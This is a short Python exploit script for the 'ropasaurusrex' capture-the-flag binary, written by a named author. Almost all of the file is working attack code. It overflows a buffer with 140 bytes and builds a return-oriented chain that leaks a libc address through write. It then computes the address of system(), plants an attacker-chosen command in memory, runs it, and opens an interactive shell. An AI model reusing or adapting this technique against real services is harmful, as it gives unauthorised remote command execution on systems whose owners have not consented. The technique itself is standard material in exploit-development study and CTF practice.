ropasaurusrex.py

#!/usr/bin/python


#ROPASAURUSREX  - EXPLOIT
#ABDELJALIL NOUIRI


from time import *
import sys
from pwn import *

dynamic_sec = 0x8049530

writeplt_addr = 0x0804830c
readplt_addr = 0x0804832c

readgot_addr = 0x804961c
writegot_addr = 0x08049614

pop3ret = 0x80484b6

diffrence = 0x998d0
diff2 = 0x99940


readvuln = 0x080483f4


cmd = sys.argv[1]

con = remote("localhost",1337)
#con = process("./ropasaurusrex")

payload = "A"*140
payload += p32(writeplt_addr)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(writegot_addr)
payload += p32(4)

payload += p32(readplt_addr)
payload += p32(readvuln)
payload += p32(0)
payload += p32(dynamic_sec)
payload += p32(len(cmd)+1)



con.send(payload)

leak = u32(con.recv(4))
print "Leaked address : %s "%hex(leak)
system = leak - diff2

con.send(cmd+"\x00")

payload = "A"*140
payload += p32(system)
payload += p32(0x41414141) #exit addr to make it exit cleanly
payload += p32(dynamic_sec)

con.send(payload)

con.interactive("\nPwned$ ")